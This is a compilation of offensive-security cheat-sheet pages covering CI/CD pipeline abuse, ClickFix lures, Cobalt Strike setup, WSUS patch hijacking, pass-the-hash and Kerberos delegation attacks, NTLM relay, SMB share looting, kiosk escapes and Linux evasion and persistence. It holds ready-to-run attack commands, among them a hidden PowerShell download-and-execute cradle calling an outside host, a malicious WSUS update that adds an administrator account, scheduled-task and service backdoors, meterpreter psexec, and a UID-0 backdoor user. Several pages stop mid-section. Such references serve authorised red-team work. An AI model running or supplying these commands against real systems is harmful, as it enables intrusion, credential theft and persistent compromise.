 - label: "Example Test"
 command: echo "Hello!"

CI/CD - CircleCI

Sat, 25 Jul 2026 18:47:21 +0200

The configuration files for CircleCI builds are located in .circleci/config.yml
By default - CircleCI pipelines don’t build forked pull requests. It’s an opt-in feature that should be enabled by the pipeline owners.

In order to run an OS command in a workflow that builds pull requests - simply add a run instruction to the step.

jobs:
 build:
 docker:
 - image: cimg/base:2022.05
 steps:
 - run: echo "Say hello to YAML!"

CI/CD - Drone CI

Sat, 25 Jul 2026 18:47:21 +0200

The configuration files for Drone builds are located in .drone.yml
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.

In order to run an OS command in a workflow that builds pull requests - simply add a commands instruction to the step.

steps:
 - name: do-something
 image: some-image:3.9
 commands:
 - {Payload}

CI/CD - GitHub Actions

Sat, 25 Jul 2026 18:47:21 +0200

GitHub Actions is GitHub’s built-in CI/CD automation tool that lets you build, test, and deploy your code right from your GitHub repository. It runs workflows triggered by events like code pushes, pull requests, or manual triggers.

Lab#

messypoutine/gravy-overflow - A GitHub Actions Supply Chain CTF / Goat

Default Action#

The configuration files for GH actions are located in the directory .github/workflows/

CI/CD - Gitlab CI

Sat, 25 Jul 2026 18:47:21 +0200

GitLab CI (Continuous Integration) is a built-in feature of GitLab that automates the process of building, testing, and deploying your code every time you make a change. It’s part of GitLab CI/CD, which stands for Continuous Integration / Continuous Deployment.

Gitlab Runners#

sudo apt-get install gitlab-runner
sudo gitlab-runner register

Prompt	Example Input
GitLab instance URL	`https://gitlab.com/`
Registration token	Found in your project under `Settings > CI/CD > Runners`
Executor	`shell`, `docker`, etc.
Description	`my-remote-runner`
Tags	`remote`

The .gitlab-ci.yml file is the configuration file that GitLab CI/CD uses to define your pipelines, jobs, and stages.

ClickFix

Sat, 25 Jul 2026 18:47:21 +0200

ClickFix is a social engineering attack that prompts users to unknowingly execute malicious code, usually through the Run Dialog (Windows Key + R).

FileFix#

Display a message to the user to lure him into copying and pasting a command in a shell or equivalent (File Explorer).

To access the file, follow these steps:
1. Copy the file path below:
 `C:\company\internal-secure\filedrive\HRPolicy.docx`
2. Open File Explorer and select the address bar (CTRL + L)
3. Paste the file path and press Enter

When the user clicks on the “COPY” button, it should set the content of his clipboard to the following.

Cobalt Strike

Sat, 25 Jul 2026 18:47:21 +0200

Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.

sudo apt-get update
sudo apt-get install openjdk-11-jdk
sudo apt install proxychains socat
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
./cobaltstrike
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"

Summary#

Infrastructure
- Redirectors
- Domain fronting
OpSec
- Customer ID
Malleable C2
Files
Powershell and .NET
- Powershell commabds
- .NET remote execution
Lateral Movement
VPN & Pivots
Beacon Object Files
NTLM Relaying via Cobalt Strike
References

Infrastructure#

Redirectors#

sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80

Domain Fronting#

New Listener > HTTP Host Header
Choose a domain in “Finance & Healthcare” sector

OpSec#

Don’t

Cobalt Strike - Beacons

Sat, 25 Jul 2026 18:47:21 +0200

DNS Beacon#

DNS Configuration#

Edit the Zone File for the domain
Create an A record for Cobalt Strike system
Create an NS record that points to FQDN of your Cobalt Strike system

Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record.

Cobalt Strike - Kits

Sat, 25 Jul 2026 18:47:21 +0200

Cobalt Strike Community Kit - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike

Elevate Kit#

UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)

beacon> runasadmin

Beacon Command Elevators
========================

 Exploit Description
 ------- -----------
 ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
 ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
 ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
 svc-exe Get SYSTEM via an executable run as a service
 uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
 uac-token-duplication Bypass UAC with Token Duplication

Persistence Kit#

0xthirteen/MoveKit

fireeye/SharPersist

# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list

# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove

Resource Kit#

The Resource Kit is Cobalt Strike’s means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows

Deployment - MDT

Sat, 25 Jul 2026 18:47:21 +0200

Microsoft Deployment Toolkit (MDT) is a free tool from Microsoft used to automate the deployment of Windows operating systems and applications.

It lets IT admins create a central deployment share with OS images, drivers, updates, and apps, then use automated scripts (task sequences) to install them on multiple computers, either over the network (Lite Touch) or from media (USB/DVD).

These files contains credentials used by Microsoft Deployment Toolkit to join a computer to the domain and to access network resources.

Deployment - SCCM

Sat, 25 Jul 2026 18:47:21 +0200

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

SCCM Application Deployment#

Application Deployment is a process that involves packaging software applications and distributing them to selected computers or devices within an organization

Tools:

Exploitation:

Deployment - SCOM

Sat, 25 Jul 2026 18:47:21 +0200

Microsoft SCOM (System Center Operations Manager) is a monitoring tool used to oversee the health and performance of servers, applications, and infrastructure in IT environments. It collects data from systems, generates alerts for issues, and provides dashboards and reports for administrators.

Tools#

breakfix/SharpSCOM - A C# utility for interacting with SCOM.
nccgroup/SCOMDecrypt - SCOMDecrypt is a tool to decrypt stored RunAs credentials from SCOM servers.

SCOM “RunAs” credentials#

Recovery from SCOM database#

The location of the SCOM database containing the RunAs credentials can be found by querying the following registry keys:

Deployment - WSUS

Sat, 25 Jul 2026 18:47:21 +0200

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network

:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.

SharpWSUS

Locate using HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate or SharpWSUS.exe locate
After WSUS Server compromise: SharpWSUS.exe inspect
Create a malicious patch: SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
Deploy it on the target: SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"
Check status deployment: SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local
Clean up: SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group

Docker

Sat, 25 Jul 2026 18:47:21 +0200

Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

Summary#

Tools
Mounted Docker Socket
Open Docker API Port
Insecure Docker Registry
Exploit privileged container abusing the Linux cgroup v1
- Abusing CAP_SYS_ADMIN capability
- Abusing coredumps and core_pattern
Breaking out of Docker via runC
Breaking out of containers using a device file
References

Tools#

kost/dockscan : Dockscan is security vulnerability and audit scanner for Docker installations

Elastic EDR

Sat, 25 Jul 2026 18:47:21 +0200

Elastic EDR (Endpoint Detection and Response) is a component of Elastic Security designed to address cybersecurity threats at the endpoint level. It plays a crucial role in preventing, detecting, and responding to cyber threats like ransomware and malware.

peasead/elastic-container - Stand up a simple Elastic container with Kibana, Fleet, and the Detection Engine

Setup#

First, you need docker and the docker-compose plugin

# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

# Install docker from apt
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

You might want to grant the docker right to the default user

Endpoint Detection and Response

Sat, 25 Jul 2026 18:47:21 +0200

Endpoint Detection and Response (EDR) is a security solution that combines real-time monitoring, data collection, and advanced analytics to detect, investigate, and respond to cyber threats at the endpoint level. Leveraging machine learning algorithms and behavioral analysis, EDR tools can identify malicious activities, automate containment and remediation actions, and provide forensic insights to enhance an organization’s overall security posture.

Static Detection#

Mechanism: Static detection is a security technique used in EDR and antivirus software that analyzes files and applications without executing them, typically based on predefined signatures or known malicious patterns.

Forest to Forest Compromise - Trust Ticket

Sat, 25 Jul 2026 18:47:21 +0200

Require: SID filtering disabled

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our SID history.

Dumping Trust Passwords (trust keys)#

Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.

Hardcoded Secrets Enumeration

Sat, 25 Jul 2026 18:47:21 +0200

Tools#

synacktiv/nord-stream - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines
xforcered/SCMKit - Source Code Management Attack Toolkit

Search inside Repositories, Files and Codes#

Discover repositories being used in a particular SCM system

SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local

Search for repositories by repository name in a particular SCM system

SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"

Search for code containing a given keyword in a particular SCM system

Hash - Capture and Cracking

Sat, 25 Jul 2026 18:47:21 +0200

Hash Cracking Table#

Hashcat mode	Hash type	Generic hash format
`3000`	LM	`<LM_HASH>`
`1000`	NT	`<NT_HASH>`
`5500`	NetNTLMv1 / NetNTLMv1+ESS	`<USERNAME>::<DOMAIN>:<LM_RESPONSE>:<NTLM_RESPONSE>:<SERVER_CHALLENGE>`
`5600`	NetNTLMv2	`<USERNAME>::<DOMAIN>:<SERVER_CHALLENGE>:<NT_PROOF_STRING>:<NTLMV2_RESPONSE_BLOB>`

All hashes are not born equals, LM hash (LAN Manager hash) is an obsolete Windows password-hashing format. Here are the steps to reproduce the LM hashing method.

Convert the password to uppercase.
Pad or truncate it to exactly 14 characters.
Split it into two independent 7-character halves.
Convert each half into a DES key.
Use each key to encrypt the fixed string.
Concatenate the two 8-byte results.

LM hash can be cracked easily, NT hash might be cracked depending on the size of the password. However it is also possible to use it without breaking it, see the Hash - Pass the Hash page.

Hash - OverPass-the-Hash

Sat, 25 Jul 2026 18:47:21 +0200

In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).

Using impacket#

root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist

Using Rubeus#

# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe

Hash - Pass the Hash

Sat, 25 Jul 2026 18:47:21 +0200

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

Metasploit

use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r 
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

netexec

Hash - Pass The Key

Sat, 25 Jul 2026 18:47:21 +0200

Pass The Key allows attackers to gain access to systems by using a valid session key instead of the user’s password or NTLM hash. This technique is related to other credential-based attacks like Pass The Hash (PTH) and Pass The Ticket (PTT) but specifically uses session keys to authenticate.

Pre-authentication requires the requesting user to provide a secret key, which is derived from their password and may use encryption algorithms such as DES, RC4, AES128, or AES256.

Hash Cracking

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Hashcat
John
- Usage
Rainbow tables
Tips and Tricks
Online Cracking Resources
References

Hashcat#

Hashcat Install#

apt install cmake build-essential -y
apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install

Extract the hash
Get the hash format: hashcat.net/example_hashes
Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> …)
Enjoy plains
Review strategy
Start over

Dictionary#

Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.

HTML Smuggling

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Description
Executable Storage

Description#

HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file.

Executable storage#

We can store our payload in a Blob object => JS: var blob = new Blob([data], {type: 'octet/stream'}); To perform the download, we need to create an Object Url => JS: var url = window.URL.createObjectURL(blob); With those two elements, we can create with Javascript our <a> tag which will be used to download our malicious file:

IBM Cloud Managed Database Services

Sat, 25 Jul 2026 18:47:21 +0200

IBM Cloud offers a variety of managed database services that allow organizations to easily deploy, manage, and scale databases without the operational overhead. These services ensure high availability, security, and performance, catering to a wide range of application requirements.

Supported Database Engines#

1. PostgreSQL#

Description: PostgreSQL is an open-source relational database known for its robustness, extensibility, and SQL compliance. It supports advanced data types and offers features like complex queries, ACID compliance, and full-text search.

IBM Cloud Object Storage

Sat, 25 Jul 2026 18:47:21 +0200

IBM Cloud Object Storage is a highly scalable, secure, and durable cloud storage service designed for storing and accessing unstructured data like images, videos, backups, and documents. With the ability to scale seamlessly based on the data volume, IBM Cloud Object Storage is ideal for handling large-scale data storage needs, such as archiving, backup, and modern applications like AI and machine learning workloads.

Key Features#

1. Scalability#

Dynamic Scaling: IBM Cloud Object Storage can grow dynamically with your data needs, ensuring you never run out of storage space. There’s no need for pre-provisioning or capacity planning, as it scales automatically based on demand.
No Size Limits: Store an unlimited amount of data, from kilobytes to petabytes, without constraints.

2. High Durability and Availability#

Redundancy: Data is automatically distributed across multiple regions and availability zones to ensure that it remains available and protected, even in the event of failures.
99.999999999% Durability (11 nines): IBM Cloud Object Storage provides enterprise-grade durability, meaning that your data is safe and recoverable.

3. Flexible Storage Classes#

IBM Cloud Object Storage offers multiple storage classes, allowing you to choose the right balance between performance and cost:

Initial Access

Sat, 25 Jul 2026 18:47:21 +0200

Initial Access Files in the context of a Red Team exercise refer to the set of files, scripts, executables, or documents used by the Red Team to initially infiltrate the target system or network. These files often contain malicious payloads or are designed to exploit specific vulnerabilities in order to establish a foothold in the target environment.

Summary#

Complex Chains
Container
Payload
Code Signing

Complex Chains#

DELIVERY(CONTAINER(TRIGGER + PAYLOAD + DECOY))

Internal - Coerce

Sat, 25 Jul 2026 18:47:21 +0200

Coerce refers to forcing a target machine (usually with SYSTEM privileges) to authenticate to another machine.

Signing#

Server Side Signing#

Operating System	SMB Signing	LDAP Signing
Windows Server 2019 DC	✅	❌
Windows Server 2022 DC pre 23H2	✅	❌
Windows Server 2022 DC 23H2	✅	✅
Windows Server 2025 DC	✅	✅
Windows Server 2019 Member	❌	-
Windows Server 2022 Member	❌	-
Windows Server 2025 Member	❌	-
Windows 10	❌	-
Windows 11 23H2	❌	-
Windows 11 24H2	✅	-

Server-side SMB signing has been enabled on domain controllers
Server-side SMB signing is still not required by default on non-DC Windows server

EPA#

zyn3rgy/RelayInformer - Python and BOF utilites to the determine EPA enforcement levels of popular NTLM relay targets from the offensive perspective.

uv run relayinformer mssql --target 10.10.10.10 --user USER --password PASSWORD
uv run relayinformer http --url http://10.10.10.10/page --user USER --password PASSWORD
uv run relayinformer ldap --method BOTH --dc-ip 10.10.10.10 --user USER --password PASSWORD
uv run relayinformer ldap --method LDAPS --dc-ip 10.10.10.10 --user USER --password PASSWORD

EPA Values	Description
Disabled / Never	You should generally be able to target with NTLM relay, regardless of the client’s support for EPA or version of NTLM being used.
Allowed / Accepted / When Supported	You can theoretically conduct an NTLM relay but common relay scenarios will not work because standard coercion / poisoning techniques (mentioned above) will result in the addition of EPA-relevant AV pairs, indicating the client’s support for EPA.
Required	NTLM relay should be prevented by validation of values provided in EPA-relevant AV pairs.

WebClient Service#

On Windows workstations, the WebClient service is installed by default.
On Windows servers, it is not installed by default

Enable WebClient:

Internal - DCOM

Sat, 25 Jul 2026 18:47:21 +0200

DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

impacket/dcomexec.py

dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'

python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
# -silentcommand executes the command without attempting to retrieve the output.

klezVirus/CheeseTools

# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
-t, --target=VALUE Target Machine
-b, --binary=VALUE Binary: powershell.exe
-a, --args=VALUE Arguments: -enc <blah>
-m, --method=VALUE Methods: MMC20Application, ShellWindows,
 ShellBrowserWindow, ExcelDDE, VisioAddonEx,
 OutlookShellEx, ExcelXLL, VisioExecLine, 
 OfficeMacro
-r, --reg, --registry Enable registry manipulation
-h, -?, --help Show Help

Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.

rvrsh3ll/Misc-Powershell-Scripts/Invoke-DCOM.ps1

Internal - Kerberos Relay

Sat, 25 Jul 2026 18:47:21 +0200

Kerberos Relay over HTTP#

Requirements:

Kerberos authentication for services without signing

HTTP through multicast poisoning (LLMNR)

An attacker sets up an LLMNR poisoner on the multicast range.
An HTTP client on the multicast range fails to resolve a hostname. This can happen because of a typo in a browser, a misconfiguration, but this can also be triggered by an attacker via WebDav coercion.
The LLMNR poisoner indicates that the hostname resolves to the attacker’s machine. In the LLMNR response, the answer name differs from the query and corresponds to an arbitrary relay target.
The victim performs a request on the attacker web server, which requires Kerberos authentication.
The victim asks for a ST with the SPN of the relay target. It then sends the resulting AP-REQ to the attacker web server.
The attacker extracts the AP-REQ and relays it to a service of the relay target.

Example: ESC8 with Kerberos Relay

Internal - NTLM Relay

Sat, 25 Jul 2026 18:47:21 +0200

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash	Hashcat	Attack method
LM	`3000`	crack/pass the hash
NTLM/NTHash	`1000`	crack/pass the hash
NTLMv1/Net-NTLMv1	`5500`	crack/relay attack
NTLMv2/Net-NTLMv2	`5600`	crack/relay attack

Crack the hash with hashcat.

hashcat -m 5600 -a 0 hash.txt crackstation.txt

MS08-068 NTLM reflection#

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

Internal - PXE Boot Image

Sat, 25 Jul 2026 18:47:21 +0200

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

Internal - Shares

Sat, 25 Jul 2026 18:47:21 +0200

READ Permission#

Some shares can be accessible without authentication, explore them to find some juicy files

Pennyw0rth/NetExec - The Network Execution Tool

nxc smb 10.0.0.4 -u guest -p '' -M spider_plus
nxc smb 10.0.0.4 -u guest -p '' --get-file \\info.txt.txt infos.txt.txt --share OPENSHARE

ShawnDEvans/smbmap - a handy SMB enumeration tool

smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -r PATH # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"

byt3bl33d3r/pth-smbclient from path-toolkit

pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file

SecureAuthCorp/smbclient from Impacket

Kerberos - Bronze Bit

Sat, 25 Jul 2026 18:47:21 +0200

CVE-2020-17049

An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated. Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

:warning: Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

Requirements:

Service account’s password hash
Service account’s with Constrained Delegation or Resource Based Constrained Delegation
Impacket PR #1013

Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

Kerberos - Service for User Extension

Sat, 25 Jul 2026 18:47:21 +0200

Service For User To Self which allows a service to obtain a TGS on behalf of another user
Service For User To Proxy which allows a service to obtain a TGS on behalf of another user on another service

S4U2self - Privilege Escalation#

Get a TGT
- Using Unconstrained Delegation
- Using the current machine account: Rubeus.exe tgtdeleg /nowrap
- Using credentials: getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.

Kerberos - Tickets

Sat, 25 Jul 2026 18:47:21 +0200

Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user’s identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.

There are two types of tickets in Kerberos:

Ticket Granting Ticket (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user’s identity, a timestamp, and an encryption of the user’s secret key.

Kerberos Delegation - Constrained Delegation

Sat, 25 Jul 2026 18:47:21 +0200

Kerberos Constrained Delegation (KCD) is a security feature in Microsoft’s Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.

Identify a Constrained Delegation#

BloodHound: MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
PowerView: Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft

Native

Get-DomainComputer -TrustedToAuth | select -exp dnshostname
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

bloodyAD:

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto

Exploit the Constrained Delegation#

Impacket

Kerberos Delegation - Resource Based Constrained Delegation

Sat, 25 Jul 2026 18:47:21 +0200

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a Service Ticket (ST) to access the service (“Service A”), and if the service is allowed to delegate to another pre-defined service (“Service B”), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

Import Powermad and Powerview

PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

Get user SID

Kerberos Delegation - Unconstrained Delegation

Sat, 25 Jul 2026 18:47:21 +0200

The user sends a ST to access the service, along with their TGT, and then the service can use the user’s TGT to request a ST for the user to any other service and impersonate the user. When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user’s TGT ticket gets saved to that computer’s memory.

:warning: Unconstrained delegation used to be the only option available in Windows 2000

Kiosk Escape and Jail Breakout

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Methodology
Gaining a command shell
Sticky Keys
Dialog Boxes
Internet Explorer
Shell URI Handlers
References

Tools#

kiosk.vsim.xyz - Tooling for browser-based, Kiosk mode testing.
break.yxz.red - Breakout Kit for Web Browser / Kiosk breakout Assessments.

Methodology#

Display global variables and their permissions: export -p
Switch to another user using sudo/su
Basic privilege escalations such as CVE, sudo misconfiguration, etc. Comprehensive list at Linux / Windows
List default commands in the restricted shell: compgen -c
Container escape if it’s running inside a Docker/LXC container
Pivot onto the network
- Scan other machines on the network or attempt SSRF exploitation
- Metadata for Cloud assets, see cloud/aws and cloud/azure
Use globbing capability built inside the shell: echo *, echo .*, echo /*

Gaining a command shell#

Shortcut
- [Window] + [R] -> cmd
- [CTRL] + [SHIFT] + [ESC] -> Task Manager
- [CTRL] + [ALT] + [DELETE] -> Task Manager
Access through file browser: Browsing to the folder containing the binary (i.e. C:\windows\system32\), we can simply right click and open it
Drag-and-drop: dragging and dropping any file onto the cmd.exe
Hyperlink: file:///c:/Windows/System32/cmd.exe
Task Manager: File > New Task (Run...) > cmd
MSPAINT.exe
- Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels

Kubernetes

Sat, 25 Jul 2026 18:47:21 +0200

Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.

Summary#

Tools
Container Environment
Information Gathering
RBAC Configuration
Privileged Service Account Token
Kubernetes Endpoints
Exploits
- Accessible kubelet on 10250/TCP
- Obtaining Service Account Token
References

Tools#

BishopFox/badpods - A collection of manifests that will create pods with elevated privileges.

Liferay

Sat, 25 Jul 2026 18:47:21 +0200

Liferay Portal is an open-source enterprise portal platform used for building web applications and digital experiences. It provides features like content management, user authentication, collaboration tools, and customizable dashboards. - liferay/liferay-portal

Summary#

Portlets
Login Page
Register Page
User Profile
User Configuration
Control Panel
API
Vulnerabilities
References

Portlets#

/?p_p_id=<portlet_ID>&p_p_lifecycle=0&p_p_state=<window_state>&p_p_mode=<mode>

portlet_ID: ID of the portlet to be executed. Can be a numeric ID, which is an incremental number for each portlet, or a liferay.com/Fully-Qualified-Portlet-IDs, which is a string.

Linux - Evasion

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

File Names
Command History
Hiding Text
Timestomping
Hiding PID Listings From Non-Root Users

File Names#

An Unicode zero-width space can be inserted into filenames which makes the names visually indistinguishable:

# A decoy file with no special characters
touch 'index.php'

# An imposter file with visually identical name
touch $'index\u200D.php'

Command History#

Most shells save their command history so a user can recall them again later. The command history can be viewed with the history command or by manually inspecting the contents of the file pointed to by $HISTFILE (e.g. ~/.bash_history). This can be prevented in a number of ways.

Linux - Persistence

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Basic Reverse Shell
Add a Root User
SUID Binary
Crontab
Bash Configuration File
Startup Service
Systemd User Service
Systemd Timer File
Message of the Day
User Startup File
Udev Rule
APT Configuration
SSH Configuration
Git Configuration
- Git Configuration Variables
- Git Hooks
Additional Linux Persistence Options
References

Basic Reverse Shell#

ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242

Add a Root User#

sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john

SUID Binary#

TMPDIR2="/var/tmp"
